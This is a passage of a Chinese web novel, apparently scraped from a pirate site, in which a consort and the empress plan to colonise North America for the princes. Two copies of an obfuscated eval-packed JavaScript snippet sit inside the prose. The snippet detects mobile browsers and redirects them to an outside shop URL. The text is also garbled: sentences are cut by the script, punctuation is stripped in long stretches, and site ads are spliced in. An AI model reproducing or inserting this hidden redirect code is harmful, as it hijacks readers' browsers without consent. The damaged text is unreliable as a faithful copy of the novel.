当然,他们也接触到了北美的原住民,这些人还算是比较友好,主要是双方除了衣着打扮不同,长相的确比较相似。派出去的人又按照顾晓教的说法,信誓旦旦表示,他们其实同根同种,都有着同样的祖先和文明,跟那些西洋来的白皮一点都不一样。而且,船队带过去的货物也非常能够满足那些原住民的需求和审美,大家很快就打成一片。 然后,这些人就发现,这里果然是天选之地,那些插着鸟羽,穿着兽皮,带着兽牙羽毛做的装饰的人看着穷光蛋一样,却能拿出金沙乃至是狗头金出来跟他们交易,另外还有各种兽皮。他们登陆看了一下,发现这里的土地的确也比较肥沃,起码比中原的要肥沃。中原这边,老祖宗们将能开垦的土地都开垦出来了,这么多年翻来覆去地折腾,除了没有化肥,能肥田的手段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627262|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都折腾了个遍,又用代田法之类的法门搞休耕,才算是保障了粮食的产量。而这里呢,随随便便烧个荒,就是大片的良田。 对于血脉里头就流淌着种田基因的中原人来说,这些原住民根本就是在金山上讨饭吃,要是他们有这样的地盘,还需要去狩猎采集吗?那几千斤的 野牛,力气肯定也很大,穿个鼻环,能拉多重的犁,耕多少的地啊! 便是后世大家都瞧不上的火鸡,对于船队的人来说也是好东西。中原如今大多数人一年到头都吃不上两次肉,连地里的田鼠都能当肉吃,这火鸡肉虽说粗了点,有些咬不动,但多炖煮一会儿,加点香料,味道也不算坏!尤其,这玩意肉多啊,比养鸡划算多了! 总之,虽说路上损失了两条船,大家出去的时候怀着的是提着脑袋的心,回来的时候那是满心火热!南洋的生意固然好做,但其实自家能占据的份额并不多,而且,利润也远不如刚开始那会儿。从华人南下之后搞起了胡椒种植之后,这玩意的价钱就一落千丈,中原这边小康人家都能吃得起,还能有多贵呢! 如今他们开辟出了新的航线,那里的原住民在他们眼里,那是正经的人傻钱多,他们便是如同那些下南洋的人一般,在当地搞种植园,都能赚得盆满钵盈。 顾晓听到消息之后,立马整理了一下,就递牌子请求进宫面见皇后。 她原本对国外的历史根本不了解,北美那边更是如此。谁能想得到西海岸那边居然还是一片亟待开发的处 女地呢?不趁着这个功夫赶紧占了,等着西洋人那边反应过来,大搞西进淘金什么的,困难程度可就要成倍提升了。 皇后一听说出海的人回来了,立马就来了精神。她如今虽说依旧管着六宫,不至于消极怠工,却也并不很上心,反正只要不闹到她面前来,她就当什么都不知道,以至于如今后宫一些嫔妃私底下各种勾心斗角,什么稀奇古怪的事情都闹出来了,受了委屈也不找皇后,就找圣上做主。 几次之后,圣上就身心俱疲,想要让皇后管着,皇后一句,我儿子都保不住,如今后宫那些,指不定哪一天就是以后的太后了,自己没事得罪她们作甚,嫌儿女日子过得太清静吗? 圣上自己理亏,最终只得偃旗息鼓。但是他如今又要管着前朝的事情,又要给后宫的妃嫔断官司,没几个月,就憔悴了不少。他要是个不负责任的,倒是可以随便提个嫔妃上来,接管皇后的一部分职责,偏生他还有点良心,不能真的这个时候就拆皇后的台,也只能叫夏守忠多盯着点后宫之事。 皇后如今就是一门心思给儿子准备后路,眼见着有了曙光,当下就召 了顾晓进宫。 顾晓干脆利索将船队带回来的消息一说笑道:“之前臣妾还是想多了却没想到西洋那边的人只去了那美洲的一头另一头他们还没去过呢!那边地广人稀船队上的人还亲眼看到了成千上万的野牛在大地上奔腾他们还带了些牛皮回来 顾晓又跟皇后说了一下那边的地理人情皇后已经是精神振奋:“也就是说其实不用军队只需要足够的青壮移 民过去就能立足了?” 顾晓点了点头说道:“不错那边的土著以部族的形式聚居一个部族能有个几千上万人就是极大的部族了!咱们这边只要有个几千人过去再带上一些铁器就不用担心土著的威胁。何况那些土著看起来跟咱们中原百姓并没有什么区别完全可以化夷为夏有个十几二十年那就是自己人了!” 皇后听着心中略微盘算了一下然后问道:“弟妹如今手里还有多少船?” 顾晓不假思索地说道:“之前将新造的二十艘海船都派出去了好在一路上还算太平回来了十八艘这两年又叫船厂制造几乎将市面上能买到的木料都买空了到了明年应该能有个四十艘船左右!” 皇后这些日子也很是研究了一下如今海船的情况这会儿掐着指头算了一下:“一艘船大概能承载千人路上还得防备风浪四十艘船大概能运载三万人左右到那边嗯应该够了!” 顾晓眼睛一亮:“娘娘能弄到三万青壮出海?” 皇后冷笑一声露出一点轻蔑的神色:“弟妹有所不知虽说如今太平盛世但下头也多有人是吃不饱穿不暖的遇上个天灾人祸的卖儿鬻女乃是常事!我们郑家虽说如今无人在朝但是在地方上还有点名声。那边人口稠密开国那会儿还好如今不知道多少人沦为佃户甚至是奴仆这些人只要给他们一定的好处他们自然会跟着出海!” 说到这里皇后看了一眼顾晓含笑说道:“弟妹也别跟我装傻顾家之前不也迁移了不少人去鸡笼岛吗?” 顾晓讪笑一声说道:“那也是正巧遇上了天灾要不然也不容易!” 皇后轻哼道:“这中原这么大哪年没有天灾朝廷也烦心着呢其实要不是弟妹搞出来的毛纺北方如今不少人以此为业就北方的气候哪年没几个县遭灾呢?” 顾晓犹豫了一下还是说道:“此事终归绕不开圣上吧!” 皇后抿了抿嘴唇说道:“那也是后来的事情咱们必须先将事情砸瓷实了要不然的话回头指不定就被摘了桃子!” 顾晓对此深以为然永远不要高估做皇帝的人的道德底线他们真要是翻脸什么夫妻之情父子之义那都是个屁!与其如此还不如他们私底下先行动起来。 “只是那边远在海外万里总要有个主事的人吧!”顾晓说道:“那边资源丰富一开始或许还需要咱们船队运输物资等过个两年也就安定下来了那些人出去了之后万一有自立之心?” 皇后一听也是反应过来竟是直接站了起来。 作者有话要说 第 194 章 这回旋镖丢出去,... 第194章这回旋镖丢出去, 为什么唐朝那会儿一度控制了西亚,后来却不得不放弃?无非就是距离太远,交通和通讯都跟不上,哪怕以都护府的形式遥控,成本都太高,最终只得放弃。 如今道理也差不多,不一开始先定下谁是领袖,那回头有人想要自立为王,消息光是传回来,都得半年,你再派人过去,又是半年,一年时间,黄花菜别说凉了,都又长出好几茬了! 皇后一开始地紧张之后,又有些踌躇:“珩儿现在还小,刚成亲,还没有孩子呢!” 顾晓却是直接说道:“娘娘,我幼年读书,就看到这么一句话,父母之爱子,则为之计深远!如今是大好良机,只要此事得成,大皇子殿下便有了不逊于中原的基业!何况,申生在内而亡,重耳在外而安!圣上以前总觉得大皇子殿下过于纯良,但若是大皇子殿下能另起炉灶,那宫中其他皇子又有谁能比得上他的功业呢?” 皇后听到这里,不免又心动起来。外头虽说也是王图霸业,但是外头再好,又哪里比得上家里呢!若是以后自家儿子干成了一番事业,丈夫最后不得不承认还是大儿子更厉害一些,那么,到时候无论是中原还是海外,都是自家儿子的,岂不是更好? 虽说这个可能性有点渺茫,但皇后觉得,未必不能实现。这般一想,就算是再舍不得,也该叫孩子出去一下了。 “那弟妹家里?”皇后试探着问道。 顾晓也很干脆:“好男儿志在四方,莫说是钰儿,便是末儿,若是想要,我也情愿他出去闯荡的!”在中原做个被圈养的米虫算什么呢,赶上这样一个风起云涌的大时代,要是喜欢安逸也就罢了,偏生自家两个孩子都不是什么省油的灯,那还不抓住这个机会? 皇后听了,见顾晓两个儿子都肯放出去,也松了口气,看样子这事风险没那么大,她沉吟一下,说道:“此事,还是得先跟太上皇那里通个气,太上皇开了口,皇爷便是不乐意,也没法阻止了!” 说到这里,她都有些咬牙切齿起来,你既然不肯将家业给儿子,儿子想要出去闯荡,你还推三阻四的,你就是不愿意看到我们娘几个好!皇后每每想到这个,心里就满怀怨愤,她不打算去体谅圣上是不是有什么难处, 在她看来,圣上无非就是对自己的儿子不够重视罢了! 皇后却是没有想到,圣上不是没有爱子之心,只是他儿子多了,对于男人来说,如果不考虑什么礼法,那么,嫡长子的分量,其实也不是那么重。有什么好处,不光得考虑嫡长子,还得考虑其他儿子不是! 皇后没有叫顾晓先回去,而是也叫上了顾晓,一起往大明宫而去。 太上皇如今的日子倒是挺自在,他这会儿正在看升平署的人唱戏。 升平署刚排了一出新戏,唤作《宝剑记》,讲的是汉宣帝故剑情深的故事。 太上皇一边听着,还一边摇头晃脑,哼着里头的戏词,看样子看了不止一次了。 听得两个儿媳妇过来,他也不叫升平署的人走开,反倒是笑呵呵说道:“皇后跟老七家的来了啊,那叫她们一起进来听戏吧! 他如今年岁大了,愈发随心所欲起来。 皇后带着顾晓进来,给太上皇行了礼,太上皇就摆了摆手,叫人赐了座,两人在下首坐下,老老实实一起听起了戏。 等着一折戏唱完,饰演许平君的女旦凤冠霞帔,被封为皇后,太上皇还有些意犹未尽,叫人打赏了升平署众人,这才叫他们退下,然后笑眯眯地看向了两个儿媳妇:“你们妯娌两个过来,可是有什么事要与朕说? 皇后看了顾晓一眼,便先开了口,将事情说了一遍。 太上皇听得眼睛都眯了起来,手指有节奏地敲击着椅子扶手,等着皇后说完了,才说道:“你们竟是舍得? 这回轮到顾晓开口了,她微微低了头,说道:“儿媳倒也是舍不得,但儿媳更不想孩子以后后悔! 说到这里,太上皇不免叹了口气,叹道:“是啊,如今不趁着有机会争一争,等以后年纪大了,难免又要后悔!毕竟,本朝宗室却是不比前头几朝…… “你们的意思,我也明白了,既是如此,回头朕便叫老四过来,与他说一说!他心里觉得有趣,他也猜得出圣上的意思,无非就是觉得皇后异想天开,不够老成持重,却没想到,人家两个妇道人家,却是行动力极强的,竟是不声不响地摸清楚了情况,已经准备起来了。 若是到了这个光景,圣上还想要反对,那就真的是夫妻离心,父子反目了。 太上皇打发走了两个儿媳妇又叫戴权去兴庆宫请圣上过来。 圣上一直关注着宫里的情况自然知道刚才的事。他之前根本没想到顾晓能成功毕竟他派出去的人至今还没消息呢!他便是悄悄在大明宫安插了人手但是也没到能够立刻就知道太上皇与人说了什么话的地步不过就是在外围做点杂活罢了。 圣上思来想去不知究竟还是放下手里的事情起身往大明宫而去。 等到听到太上皇将事情一说圣上差点没当场失态都开始怀疑起自己那些手下的能耐来。怎么平王府自起炉灶都已经来回了一趟了他们竟是至今连点消息都没传回来? 圣上就没想到他派出去的人首先要先去西洋而西洋那边也不是所有国家都在美洲有利益的而且有的国家更多地是在南美开发对北美那边也不熟悉。说不定他派出去的人跟着西洋人的船这会儿还在去南美的路上哪里比得上顾晓这边目标明确又不绕路这才能这么快就回来。 听着北美那边的情况圣上也颇为心动一些近乎还在茹毛饮血的土著有什么好怕的呢?他想了想说道:“父皇以为儿子该当如何?” 太上皇却是摆了摆手说道:“此事你自去跟皇后商量!但是你得先将珩儿过继给你大哥这是你之前答应下来的事情!” 圣上听了竟是忍不住吞了口唾沫这话之前跟皇后说了一次已经是引起了皇后的激烈反弹如今真要是做了皇后只怕愈发要跟自己离心。 太上皇见圣上神色没好气道:“还瞻前顾后作甚要朕说你还不如你媳妇有决断!也难怪你媳妇不肯直接跟你说!” 圣上赔笑道:“那毕竟是儿子的嫡长子……” 太上皇冷笑道:“谁让你不跟皇后多生两个!要不然的话何至于此!” 太上皇懒得再跟圣上多说直接就将人给撵了出去圣上踯躅了片刻还是往凤仪宫去了。 凤仪宫那边皇后却是心情很好她这会儿正拿了自己私库的单子在看 顾晓 反倒是没想那么多,北美那边地方大得很,北方那边暂时没那个必要,冬天太长,又大片的地方都是无人区,可以缓缓图之,但是往南,地方也大得很,到时候划个界限,大家各凭本事就是。 圣上过来的时候,就听皇后说道:“这几斗珍珠,留一些大的赏给珩儿媳妇和妍儿做首饰,其他的都叫人拿出去卖了吧! “什么要卖了?圣上还以为自己听错了,这堂堂一国之母,都要靠着变卖首饰度日了不成,这传出去,自己的脸还要不要了! 皇后这才发现圣上过来,她起身说道:“我寻常又用不上,珍珠这东西,时间一长,颜色就黄了,我又不喜欢用什么珍珠粉,留着作甚! 圣上皱眉说道:“皇后不喜欢,赏下去便是,何必卖了,叫外头知道,还当皇家精穷了呢! 皇后慢悠悠说道:“皇家倒是不精穷,但臣妾却是没什么钱,偏生如今花钱的地方多了去了,不拣了这些没什么标记的卖了,难不成叫我跟妍儿娘俩做针线不成! 圣上被噎得不轻,只得说道:“皇后,朕知道你的意思,珩儿的事情,朕也一直放在心上,之前还叫人出海去看外头的情况,只是也不知道他们如今到了哪里,至今还没有消息…… 皇后慢悠悠地听着圣上解释,面上却是并无半点动容,圣上有些无奈,叹道:“罢了罢了,朕如今说什么,你也不肯相信了!父皇那边也跟朕说了,珩儿过继给故义忠亲王为嗣,爵位不降,允其出海另立藩国!这般,之前义忠亲王一党,倒是也可以跟着一起出去,皇后可放心了吧! 皇后听到圣上这般言语,说道:“还有平王与荣王呢?他们肯与珩儿一道出去,难不成就没个下场不成? 圣上叹道:“你倒是与七弟妹感情深厚,七弟妹那边倒也放心! 皇后轻哼一声,说道:“七弟妹也是女中豪杰,有什么不放心的! “罢了罢了,那就一起吧!毕竟,这事也要多劳烦七弟妹那边!朝廷几个水师,从来都只在近海晃悠,最多去几个南洋的藩国转一转,根本没有远洋经验,朝廷自家的船厂,造出来的海船还真不适合远航。若是缓缓图之,倒是可以叫下头的船厂重新设计绘制图纸,另造大船,但朝廷的事情,大家都是知道的,但凡是涉及到钱 粮人事,那就少不得勾心斗角,推诿扯皮。大家都想要捞好处,却不想担责任。像是如今,要不是圣上自己有钱,许多事情那真是想办都难! 如今只是依靠顾晓那边的船队运输人口物资,自然得给平王府足够的好处,要不然,人家在海上给你做点手脚,你便是能到地方,也得脱层皮。 横竖外头的地方又不是自己的,人家两个儿子都是亲王,徒嘉珩又缺乏机变,本身就容易被人架空,与其叫外头那些人将他糊弄了,不如让两个堂兄弟帮忙,其他他们一起长大,感情深厚,如今利益也是一致,不至于叫徒嘉珩被下面欺瞒。 见圣上答应下来,皇后这才露出了笑意,然后给了圣上一个消息:“皇爷,臣妾觉得太上皇那边,似乎也有意给纯王一条后路!” 圣上脸色一沉,对于他来说,徒宏憬的存在,那就是癞蛤蟆落在脚面上,不咬人却恶心人!这几年,徒宏憬俨然成了太上皇老臣们推出来的代言人,他自诩自己是贤王,借着这个名头,颇给圣上添了不少堵,加上江南那边还有个甄家,如今愈发丧心病狂起来,眼里就一个太上皇,只恨不得将钱都往太上皇那里送,半点都不肯留给圣上。当然,他们自个也借着这个机会中饱私囊,据说如今生活愈发奢靡无度起来。 圣上冷笑一声,说道:“父皇倒是一片怜子之心!” 他琢磨了一下,若太上皇真有这个心思,那该怎么办?圣上琢磨了一下,忽然想到,南洋那边许多地方鱼龙混杂,西洋人,当地土著,乃至中原移 民三方你来我往,常有冲突,正该将他丢过去,看他有什么本事,折腾出什么事来! 便是他真扑腾出来了,到时候借口他引发民怨,直接夺了藩国,给自己的儿子,岂不是好? 这般一想,圣上又心平气和起来,也能跟皇后谈笑风生了。 …… 既然太上皇与圣上父子两个已经通过气,那么许多事情就变得好办起来。 先是太上皇表示自己又梦见了先太皇太后与先太上皇后,言语间提及故义忠亲王之事,不免难以安枕云云。思及故义忠亲王无嗣,有意从宗室中择取一人过继给义忠亲王。 这风声刚放出去,宗室里头便有不少人蠢蠢欲动起来,义忠亲王过继子嗣,那起码也是个郡王的爵位,宗室封爵 难啊,一个郡王的爵位,也就是那些皇子不在乎,其他人家,谁不在乎呢? 连着简王都跑到大明宫,表示自己愿意过继一个儿子给大哥。结果太上皇看到这个儿子痴肥模样,顿时就倒了胃口。 简王这么多年也无什么恶事,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627263|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一味好吃,在外头竟有饕餮之名,但凡有什么菜他吃得好的,很快在外头就能流行起来。他又是个无肉不欢的,之前还只是吃正常的家禽家畜,如今这些已经不能满足他的胃口,开始追求各种稀奇古怪的东西,像是什么鲤鱼须,鹦鹉舌之类。这年头又不是后世农业机械化时代,一个养殖场就能供应不知道多少人的日常肉食,还能将这些精细化分割。因此,后世你吃个鹅掌鸭信什么的不算奢侈,这辈子你要是只喜欢吃这些,那在许多人眼里,都跟作孽差不多。 简王眼神不好,这辈子就这么一个爱好,每年的俸禄还有皇庄铺子的产出,多半都耗在了吃食上头,弄得给儿女成婚都极为小气,早就成了宗室里头的笑话。 义忠亲王再多的不是,在太上皇那里也是白莲花一朵,简王这样的,也想拿着儿子来碰瓷?太上皇将人打发走之后,都觉得有些不爽,回头就借口简王奢侈无度,罚了他半年的俸禄,只把他气得半死。 简王受挫,其他王府便是有心,也不敢动弹了,生怕跟着自讨没趣,就等着看太上皇到底是想要选谁! 结果圣上冒出来了,表示当年义忠亲王待自己颇为恩重,因而愿意将长子徒嘉珩过继给义忠亲王。 这消息一出,顿时一片哗然。 谁家会将嫡长子过继出去啊,尤其还是皇家,这不是以过继的名头,废除嫡长子的继承权吗? 朝堂上有那等还算中直的臣子立马就跳了出来,直言反对此事!皇帝你又不是只有一个儿子,你要过继,下面的庶子好几个,还有怀孕的嫔妃呢,非得过继嫡长子吗? 想到圣上之前死活不肯将徒嘉珩的名分定下来,大家就觉得圣上这是早有预谋,只怕早就跟太上皇商量好了,这是唱了个双簧!后宫里头,凤仪宫立马门庭冷落,另几个皇子生母一下子都变得炙手可热起来。 就在已经有臣子为了拨乱反正,想要叩阍的时候,又一个消息传出。 说是徒嘉珩过继出去之后,便会跟平王荣王一起 出海,另立藩国,日后称王建制。 大家顿时都不知道该说什么好了,这算怎么回事呢?打一巴掌给一甜枣吗?另外就是出海开国,真有那么容易的事情?朝廷要为此付出什么?总不能为了皇帝想要端水,就得朝廷额外出钱吧!另外,徒嘉珩也就罢了,平王和荣王凭什么出去。 如今的户部尚书,已经差点要冲到兴庆宫,梗着脖子跟圣上跳脚,表示国库没钱了! 徒宏憬本来就在户部,他巴不得看圣上的笑话,还以为圣上是被太上皇逼迫得厉害,想要另找后路。因此,也跟着上蹿下跳,反正就是你想要儿子出海可以,这是皇家的私事,不算国事,所以,国库不能出钱。 太上皇知道徒宏憬这般,差点没气个倒仰,麻蛋,给你弄个样板,你居然半点不上道,你现在不肯给徒嘉珩出钱,那以后轮到你的时候,人家自然更不可能出钱了! 只是,太上皇又不肯跟徒宏憬明说,只得眼睁睁地看着这回旋镖丢出去,等着什么时候扎到徒宏憬头上。 很快大家就知道,平王和荣王凭什么也能一起出去了。 平王府有钱,有船,还有人!他们肯承担移 民的相当一部分开销! 顿时,宗室里头,也有许多人开始蠢蠢欲动起来。宗室是被当做猪一样养着的,一代代下来,就跟慢性自 杀一样,五代之后,就是平民,甚至还不如平民呢!毕竟平民一直如此,宗室这边从天潢贵胄一朝跌落,架子放不下来,多有穷困潦倒得只能四处打秋风的。若是能够趁着现在手里还有钱有人,出去扑腾一番,也能给子孙留个基业! 当然,话是这样说,真正能下决心的也没几个。毕竟,出海不是说一说就成的,出个省都会水土不服,何况是出海呢!再有就是,家里人心也不齐,那等注定不会有多高爵位甚至封不到爵位的庶子自然是乐意出去的,可是能袭爵的嫡长子却未必肯冒这个险,因为这花费的大多数都会是他未来的钱,成了也就罢了,若是不成呢? 真正愿意付诸行动的,最后竟是徒宏轩! 徒宏轩年纪也不算小了,他虽说身体不好,也荤素不忌,但是,乐安县主也为他生下了一个儿子,这儿子身体还算是康健。 原本徒宏轩以为,这辈子也就这样了,但是听到这消息之后,不免也起了心 思。 这人无远虑必有近忧,他这一代可以安享富贵,等到他儿子一代呢?到时候与皇室血缘愈发远了,说不定犯上一点错误就要倒霉!尤其,这孩子身上同时有着西宁郡王府和东平郡王府的血脉,回头这两府要是有什么动静,难免牵连到他头上。与其如此,不如出去给孩子搏个前程,日后不管中原如何,也影响不到他头上。甚至,日后中原大乱,自家子孙还有重返中原的一天。 因此,徒宏轩几乎是马不停蹄就往宫里跑。 他也没去找太上皇,自家这个老爹,他是知道的,最是薄情不过,他当初都那样了,这老头子也没把甄家如何,委实没多少父子之情。相比较来说,还是圣上这个皇兄更好说话一些。 圣上也没想到,先跑过来的居然是徒宏轩,毕竟,大家都知道,这位顺王爷就是个弱鸡,一度有人怀疑他府里那个孩子是找人借的种,毕竟,他好男风的事情,如今知道的人也不少。要不是那孩子长开了之后跟徒宏轩挺像,这流言就有不少人信了! 徒宏轩也是干脆:“皇兄,臣弟略有薄产,愿意帮大侄儿一回,只求皇兄给个机会! 作者有话要说 说全网首发无弹窗免费阅读qiexs.com?(请来企鹅小 说 看最新章节 完整章节) 第 195 章 可惜我不是个男人... 第195章可惜我不是个男人 徒宏轩说略有薄产,真的是自谦。 瑜太妃当年进宫的时候就有大笔的嫁妆,徒宏轩开府之后,瑜太妃就将大半的私房都给了徒宏轩,徒宏轩身体不好,太上皇那会儿也帖不了他不少,连着西宁郡王府和他本身的外家,都暗中贴补了他一些。乐安县主嫁妆也丰厚,两人又只有一个儿子,为了儿子的前程,先拿出大半的家产,也是可以接受的。 圣上不过是略微拿捏了一下,徒宏轩又表示可以出人,东平郡王府在沿海也还有些实力,完全可以帮着搞移 民。 横竖徒宏轩表示将来出海只要朝廷给政策,其他都不用朝廷费事,将来立国之后,也会尊中原为宗主国,照常朝贡,这里子面子都有了,圣上也就答应下来。不过如今皇家的重中之重还是徒嘉珩他们几个出海之事,徒宏轩这边还得再等几年再说。毕竟,徒宏轩也得先找好了地方,做好准备才行。 徒宏轩得了准话,春风得意地回去了,结果出宫的时候就看到从大明宫出来的徒宏憬,他不免冷笑一声,招呼都不打一声,转身就走。 徒宏憬一见,也是气恼,暗自发誓,等自己上位,一定叫这个一直跟自己作对的家伙好看! 兄弟两个背道而驰,各自回了家,各有计较。 而平王府这边,如今面临的就是徒嘉钰的婚事。 因为之前那道旨意,锦乡侯府那边不免有些犹疑不定,这徒嘉钰都要出海了,自家女儿是留在京中伺候顾晓这个婆婆,还是跟着徒嘉钰一起出去?留在京里固然不用经受什么风吹雨打的苦处,但是,徒嘉钰正值青春年少,谁都知道这个年纪的少年气血方刚,指不定哪天就冲动一把,到时候在外头跟别人生了孩子,那可怎么办?这可不是一个普通的爵位,而是未来的一个藩国啊!而一起出去的话,韩家本来就是渔民出身,最明白海上的风险,便是那等积年的老水手,也不能保证次次都能平安,要是回头有个三长两短,又该如何? 总之,韩家这边颇有些进退两难的意思,两口子对坐商议了半天,都拿不定主意,终于,韩夫人开了口:“咱们家大姑娘是个有主意的,不如先问问她的意思? 锦乡侯府这位大姑娘闺名叫做沅若, 她是家里的长女,也颇有长姐之风,并非那等唯唯诺诺的女孩子,平时也颇有主见。 距离婚期已经不足一月,她嫁过去就是亲王府,因此嫁衣是内务府提供,早早就送了过来,不用她动手。她这会儿就带着几个丫头,正做几个荷包。 见父母二人一起过来,沅若不免有些意外,忙起身相迎,又叫人搬了椅子过来,请二人坐下,又亲手给父母奉茶:“老爷,太太,这是闽越的岩茶,我喝着倒好,老爷太太也尝尝看! 夫妻二人闻到茶香,心中都有数,他们家素来习惯喝的是绿茶,主要是龙井和毛尖,顶多就是饭后喝一点普洱用于消食,岩茶什么的,并非他们家的口味。沅若这里有这个,多半是王府那边私下送来的。 沅若也想到了这个,不免脸一红,就听母亲说道:“外头的事情,沅儿听说了吗? 沅若一愣,一时没反应过来,茫然道:“什么事? 韩父直接说道:“沅儿竟是不知吗,说是平王荣王将与大殿下出海的事情!虽说已经定下来徒嘉珩过继义忠亲王,但终究还没有正式行过继之礼,因此,朝野上下依旧称之为大殿下。 另外,义忠亲王这个封号乃是追封,总不能徒嘉珩过继过去,还用这个封号。而徒嘉珩又是要出海开国的,自然不能如同之前一样,以吉祥字眼作为封号,而是应该以古之诸侯国的国号作为封号,甚至连着平王和荣王也得跟着一起改封。他们并非大宗,便是要一起出藩,选择的封号比起徒嘉珩也该降一等才行。 沅若冰雪聪明,立马明白父母此来的意思,当下斩钉截铁说道:“嫁鸡随鸡嫁狗随狗,既是平王要出海,我嫁过去便是平王妃,自然是要跟过去的! 两人听到女儿这般说法,心中一定,但还是有些不确定:“也不知太妃那边是什么意思? 平王府那边很快就送来了定心丸,顾晓表示,自己一个亲王太妃,又不缺人伺候,因此,等着之后徒嘉钰出去,王妃是否跟随,全凭王妃自愿。王妃要是愿意跟着,甚至可以将陪嫁人口都带过去,若是不愿意,想要先留在京城,那王府也会划一份产业给王妃,作为补偿,等着日后徒嘉钰那边站稳了脚跟,再将人送过去也不迟。 平王府话都说到这个份上,锦乡侯府还有什么好说的 自然表示只要没有意外肯定叫女儿跟着女婿一块出去。 只是既然做了这般打算原本准备的许多嫁妆显然有些不合适像是什么庄子铺子也不能带到海外去还是多多陪嫁人口和物资最好。 移 民这种事情最重要的便是这些锦乡侯府也是大手笔除了几个陪嫁丫头之外其他都是青壮 说更新,记住域名qiexs.com≧(请来企鹅小 说 看最新章节 完整章节)里头还多半都是工匠比如说木匠瓦匠铁匠之类光是为了搜罗这些工匠锦乡侯府就废了许多力气毕竟大多数工匠本身有一技之长便是社会地位比较低却也落不到需要卖身的地步。 知道锦乡侯府的动作之后徒嘉钰也是松了口气怕人觉得锦乡侯府嫁妆古怪又通过未来大小舅子送了许多珍珠宝石过去好给未婚妻做门面。 徒嘉泽也是头一次知道徒嘉钰的打算他对此倒也不羡慕。他从来不是什么有野心的人也很有自知之明。开国这种事情听起来风光无限实际上那是要披荆斩棘筚路蓝缕才能有所成就的。 徒嘉泽从小到大就没吃过半点苦头去一趟庄子上干点农活回头都要叫苦何况是远渡海外跟那些土著打交道。 所以他刚开始羡慕了一下之后便没了这个心思反而琢磨着两个兄弟都出去他以后就是平王府唯一留在京中的一脉说不定日后太妃娘娘也得自己奉养那么将来分府自己应该能多分一些东西吧!别的不说京中的产业两个兄弟是带不走的只要顾晓还活着朝廷就不会收回如今顾晓还精明强干等她年纪大了呢不就得依赖自己这个庶子? 自封爵之后府里头上下都已经将几个小主子当做大人一般顾晓还给了徒嘉泽一个布庄让他自个打理每年的利润就是徒嘉泽的零花钱。 徒嘉泽也就是通过这个慢慢才知道平王府看着低调实际上在京中一众宗室之中是颇为宽裕的。老实说年纪大了之后徒嘉泽一度很疑惑自个亲妈论起美貌不如嫡母论起能干也不如嫡母当初自己父王是被什么糊住了眼睛不成竟是将自个生母当宝反倒是对正院只剩表面功夫? 徒嘉泽琢磨着自己要娶妻就得娶那种出身好又能干的便是有什么美妾那睡睡也就罢了偏宠什么的还是算了。妾再美也有年老色衰的时候但是妻子却 是会跟自己一辈子的人自己后半辈子是否能够安逸说不得还得看妻子的本事。 可惜马上就是兄长徒嘉钰的婚礼了总得等到兄长大婚之后才好提自己的婚事。不过如今这个情况自己的婚事应该也能水涨船高吧! 徒嘉泽的想法其实都是人之常情便是李氏那边心情也有些激动连着几天到正院侍奉顾晓弄得顾晓烦不胜烦。 她有人有钱 所以李氏觉得自己以后两个亲儿子都远在海外多少都得仰仗庶子的事情根本就是胡思乱想。徒嘉泽要是孝顺顾晓少不了她的好处要是想要凭着一个儿子的身份想要要挟她那就是痴心妄想! 当年李氏和徒嘉泽母子如今可不敢有这个心思他们就是想要多在顾晓面前刷一刷存在感将来好能多得一些好处。 末儿之前学油画的时候可没想过自己也能出海他是半点没想到可能会遭遇的困难如今跟个跟屁虫一样每日里跟在徒嘉钰身后不管徒嘉钰知不知道小嘴叭叭地打听海外的事情闹得徒嘉钰烦不胜烦。 顾晓对此也是哭笑不得以前也没见末儿这般缠着他哥她不免疑心自己叫末儿也跟着出去会不会显得有些有失考虑了! “末儿你真的想要跟着出海吗?”顾晓将人叫了过来问道“之前也没问过你的意见我就先跟皇后说了这事若是你不愿意我便再进宫一趟!” 末儿忙说道:“我想啊我要是只做一个宗室王爷那就只能一辈子待在京城这一亩三分地想要找个传教士都找不到若是我出去了那可就不一样了我能找到最好的画师教我画画呢!” 顾晓听得哭笑不得:“出去开拓可不是玩的不说横渡大洋便是到了地方那边气候也与中原很是不同你想要住上像如今这样的房子都不知道要等多久说不定还要带着人出去跟那些土著乃至西洋人作战还学什么画?” 末儿摇了摇头说到:“我知道的只是辛苦个几年那可就自在了。到时候我可以将自己的领土托付给哥哥自己去西洋那边游历!”说到这里末儿有些 憧憬起来,他如今学习油画进入了一个瓶颈期,显然闭门造车是不行了,只是留在神京,只怕这辈子都没突破的希望,唯有出去才能遇上一些大师,哪怕是大师留下的作品也行。 顾晓一时有些无语:“你光想着画画,不想要为自己将来的领土臣民负责吗? 末儿奇怪地看了顾晓一眼:“当然会啊,学画只是爱好,又不是别的!妈,你放心,不会做徽宗那样的人的! 顾晓心里还有些不放心,别这家伙到最后将事情搞崩了!只是事情还没开始,顾晓也不好给他浇冷水,只得暂时作罢,准备回头跟徒嘉钰说一声,要是末儿将来根本就不打算折腾,还不如让他继续做个富贵闲人呢,免得回头成了祸害。 时间过得飞快,沅若进门之后没多久,就降下了一场大雪,整个神京都陷入了银装素裹之中。 